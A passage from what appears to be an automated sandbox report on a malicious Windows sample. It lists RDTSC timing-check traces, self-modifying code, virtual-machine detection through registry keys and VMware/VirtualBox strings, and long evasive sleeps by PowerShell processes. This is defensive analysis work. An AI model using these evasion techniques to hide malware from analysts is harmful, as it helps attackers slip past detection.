Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00BA2 second address: 4B00C58 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 8EEAh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov ebx, 00000000h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FEC30B390CCh 0x00000015 jmp 00007FEC30B390D5h 0x0000001a popfd 0x0000001b push esi 0x0000001c pushfd 0x0000001d jmp 00007FEC30B390D7h 0x00000022 adc ecx, 1175DD9Eh 0x00000028 jmp 00007FEC30B390D9h 0x0000002d popfd 0x0000002e pop ecx 0x0000002f popad 0x00000030 test esi, esi 0x00000032 pushad 0x00000033 mov si, dx 0x00000036 mov di, 9CACh 0x0000003a popad 0x0000003b je 00007FECA3DBE83Ah 0x00000041 jmp 00007FEC30B390CBh 0x00000046 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000004d jmp 00007FEC30B390D6h 0x00000052 mov ecx, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FEC30B390CAh 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00C58 second address: 4B00C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00C5C second address: 4B00C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00C62 second address: 4B00C68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00C68 second address: 4B00C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00C6C second address: 4B00CA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FECA3E84BEFh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEC30BFF4E7h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00CA9 second address: 4B00CFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [77E16968h], 00000002h 0x00000010 jmp 00007FEC30B390CEh 0x00000015 jne 00007FECA3DBE7A1h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FEC30B390D7h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00CFA second address: 4B00D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30BFF4E4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00D12 second address: 4B00D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00D16 second address: 4B00D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007FEC30BFF4E7h 0x00000010 xchg eax, ebx 0x00000011 jmp 00007FEC30BFF4E6h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00D56 second address: 4B00D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00D5A second address: 4B00D76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00D76 second address: 4B00DB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC30B390D1h 0x00000008 push esi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e jmp 00007FEC30B390CAh 0x00000013 xchg eax, ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FEC30B390D7h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00DB4 second address: 4B00DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00DBA second address: 4B00DD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00DD2 second address: 4B00DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00DD6 second address: 4B00DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00DDC second address: 4B00DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30BFF4E8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00DF8 second address: 4B00DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00DFC second address: 4B00E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FEC30BFF4E7h 0x0000000e push dword ptr [ebp+14h] 0x00000011 jmp 00007FEC30BFF4E6h 0x00000016 push dword ptr [ebp+10h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00E3E second address: 4B00E5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00E86 second address: 4B00E8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00E8C second address: 4B00E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00E92 second address: 4B00E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00032 second address: 4B00055 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00055 second address: 4B00059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AF0CC4 second address: 4AF0D1C instructions: 0x00000000 rdtsc 0x00000002 movzx esi, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007FEC30B390D5h 0x0000000c mov dx, si 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007FEC30B390CAh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FEC30B390D0h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FEC30B390D7h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B606D7 second address: 4B606DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B606DD second address: 4B6072C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ah 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FEC30B390D6h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FEC30B390CDh 0x0000001a and ecx, 55815E66h 0x00000020 jmp 00007FEC30B390D1h 0x00000025 popfd 0x00000026 mov dx, si 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B6072C second address: 4B60755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 0025h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d mov ax, 0EDDh 0x00000011 mov si, BBD9h 0x00000015 popad 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FEC30BFF4DEh 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60755 second address: 4B60759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60759 second address: 4B6075F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B005B3 second address: 4B005B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B005B9 second address: 4B005BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60C11 second address: 4B60C20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60C20 second address: 4B60C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60C26 second address: 4B60C58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FEC30B390C9h 0x0000000d pushad 0x0000000e call 00007FEC30B390CDh 0x00000013 mov si, 9B47h 0x00000017 pop ecx 0x00000018 mov edi, 506E8EE0h 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov eax, edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60C58 second address: 4B60C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60CC8 second address: 4B60CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60CCC second address: 4B60CD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60CD0 second address: 4B60CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60CD6 second address: 4B60CDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60CDC second address: 4B60CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60CE0 second address: 4B60CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx eax, al 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop esi 0x0000000e mov bh, 92h 0x00000010 popad 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B60CF8 second address: 4B60CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B40418 second address: 4B4041E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B4041E second address: 4B40439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF0h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B40439 second address: 4B4043F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B4043F second address: 4B40445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B40445 second address: 4B40485 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 44h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FEC30BFF4DDh 0x00000017 sub ah, FFFFFF86h 0x0000001a jmp 00007FEC30BFF4E1h 0x0000001f popfd 0x00000020 mov edi, esi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B40485 second address: 4B404ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov edx, ecx 0x0000000d mov esi, 0B82561Fh 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FEC30B390CEh 0x0000001d xor cl, FFFFFF88h 0x00000020 jmp 00007FEC30B390CBh 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007FEC30B390D8h 0x0000002c adc cx, E5E8h 0x00000031 jmp 00007FEC30B390CBh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B404ED second address: 4B40505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30BFF4E4h 0x00000009 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Special instruction interceptor: First address: A82C5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Special instruction interceptor: First address: C3148F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Special instruction interceptor: First address: B22C5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Special instruction interceptor: First address: CD148F instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Code function: 19_2_04B60C78 rdtsc 19_2_04B60C78
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3838 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5913 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4156 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5706 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\random.exe API coverage: 3.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1344 Thread sleep time: -20291418481080494s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6852 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6380 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6552 Thread sleep time: -30000s >= -30000s Jump to behavior
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0 Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 0_2_0023DBBE
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0020C2A2 FindFirstFileExW, 0_2_0020C2A2
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_002468EE FindFirstFileW,FindClose, 0_2_002468EE
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 0_2_0024698F
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_0023D076
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_0023D3A9
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00249642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_00249642
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_0024979D
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00249B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 0_2_00249B2B
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00245C97 FindFirstFileW,FindNextFileW,FindClose, 0_2_00245C97
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_001D42DE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: rapes.exe, rapes.exe, 00000015.00000002.1602520567.0000000000CA0000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: powershell.exe, 00000006.00000002.1545958592.00000000077EF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y]p2
Source: powershell.exe, 00000009.00000002.975191200.000002C7266DA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSIdRom&Ven_NECVMWar&Prod_VMware_
Source: svchost.exe, 0000000C.00000002.2125581032.000001C93FC54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2124263718.000001C93A62B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: mshta.exe, 00000002.00000003.871908753.00000000031B9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}^
Source: powershell.exe, 00000006.00000002.1545958592.00000000077EF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\5Vs9
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE, 00000013.00000002.1570627749.0000000000C00000.00000040.00000001.01000000.0000000E.sdmp, rapes.exe, 00000014.00000002.1592627327.0000000000CA0000.00000040.00000001.01000000.00000011.sdmp, rapes.exe, 00000015.00000002.1602520567.0000000000CA0000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: powershell.exe, 00000006.00000002.1550506327.000000000782A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
